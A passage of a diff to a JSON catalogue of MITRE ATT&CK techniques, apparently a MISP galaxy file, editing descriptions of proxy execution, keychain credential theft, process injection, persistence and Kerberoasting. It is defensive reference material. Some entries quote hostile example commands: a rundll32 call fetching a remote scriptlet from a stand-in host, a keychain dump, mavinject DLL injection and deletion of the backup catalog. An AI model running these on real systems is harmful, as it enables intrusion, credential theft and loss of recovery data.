elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", "meta": { "external_id": "T1218.007", "kill_chain": [ @@ -27335,7 +24263,7 @@ "value": "Msiexec - T1218.007" }, { - "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n", + "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n", "meta": { "external_id": "T1218.008", "kill_chain": [ @@ -27366,32 +24294,6 @@ "uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071", "value": "Odbcconf - T1218.008" }, - { - "description": "Adversaries may collect keychain data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials. \n\nOn the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, adversaries can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain) ", - "meta": { - "external_id": "AUT-11", - "kill_chain": [ - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1634/001", - "https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/", - "https://developer.apple.com/documentation/security/keychain_services", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html" - ] - }, - "related": [ - { - "dest-uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", - "type": "subtechnique-of" - } - ], - "uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", - "value": "Keychain - T1634.001" - }, { "description": "Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)", "meta": { @@ -27428,7 +24330,7 @@ "value": "Domains - T1583.001" }, { - "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", + "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", "meta": { "external_id": "T1584.001", "kill_chain": [ @@ -27445,7 +24347,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1584/001", "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover", - "https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/", "https://www.icann.org/groups/ssac/documents/sac-007-en" ] }, @@ -27459,7 +24360,7 @@ "value": "Domains - T1584.001" }, { - "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ", + "description": "Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.", "meta": { "external_id": "T1555.001", "kill_chain": [ @@ -27468,8 +24369,7 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Access", - "Process: OS API Execution", - "Process: Process Creation" + "Process: OS API Execution" ], "mitre_platforms": [ "macOS" @@ -27477,10 +24377,7 @@ "refs": [ "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "https://attack.mitre.org/techniques/T1555/001", - "https://developer.apple.com/documentation/security/keychain_services", - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py", - "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption", - "https://www.netmeister.org/blog/keychain-passwords.html" + "https://en.wikipedia.org/wiki/Keychain_(software)" ] }, "related": [ @@ -27492,37 +24389,6 @@ "uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", "value": "Keychain - T1555.001" }, - { - "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.", - "meta": { - "external_id": "T1055.015", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Modification" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1055/015", - "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview", - "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/", - "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf" - ] - }, - "related": [ - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "type": "subtechnique-of" - } - ], - "uuid": "eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", - "value": "ListPlanting - T1055.015" - }, { "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n", "meta": { @@ -27573,8 +24439,8 @@ "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/", "https://attack.mitre.org/techniques/T1587/001", "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", - "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/", "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "https://www.losangeles.va.gov/documents/MI-000120-MW.pdf", "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" ] }, @@ -27759,7 +24625,7 @@ "value": "ROMMONkit - T1542.004" }, { - "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)", + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", "meta": { "external_id": "T1546.002", "kill_chain": [ @@ -27903,7 +24769,7 @@ "value": "Botnet - T1583.005" }, { - "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", + "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", "meta": { "external_id": "CAPEC-509", "kill_chain": [ @@ -28000,7 +24866,7 @@ "value": "Trap - T1546.005" }, { - "description": "Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", + "description": "Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", "meta": { "external_id": "T1584.005", "kill_chain": [ @@ -28127,7 +24993,7 @@ "value": "Vulnerabilities - T1588.006" }, { - "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ", + "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)", "meta": { "external_id": "T1218.011", "kill_chain": [ @@ -28147,7 +25013,6 @@ "https://github.com/gtworek/PSBits/tree/master/NoRunDll", "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/", "https://www.attackify.com/blog/rundll32_execution_order/", - "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/", "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" ] }, @@ -28161,7 +25026,7 @@ "value": "Rundll32 - T1218.011" }, { - "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ", + "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ", "meta": { "external_id": "T1218.012", "kill_chain": [ @@ -28180,7 +25045,7 @@ "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", "https://redcanary.com/blog/verclsid-exe-threat-detection/", - "https://www.winosbite.com/verclsid-exe/" + "https://www.winosbite.com/verclsid-exe/ " ] }, "related": [ @@ -28193,7 +25058,7 @@ "value": "Verclsid - T1218.012" }, { - "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", + "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", "meta": { "external_id": "T1218.013", "kill_chain": [ @@ -28224,7 +25089,7 @@ "value": "Mavinject - T1218.013" }, { - "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)", + "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding 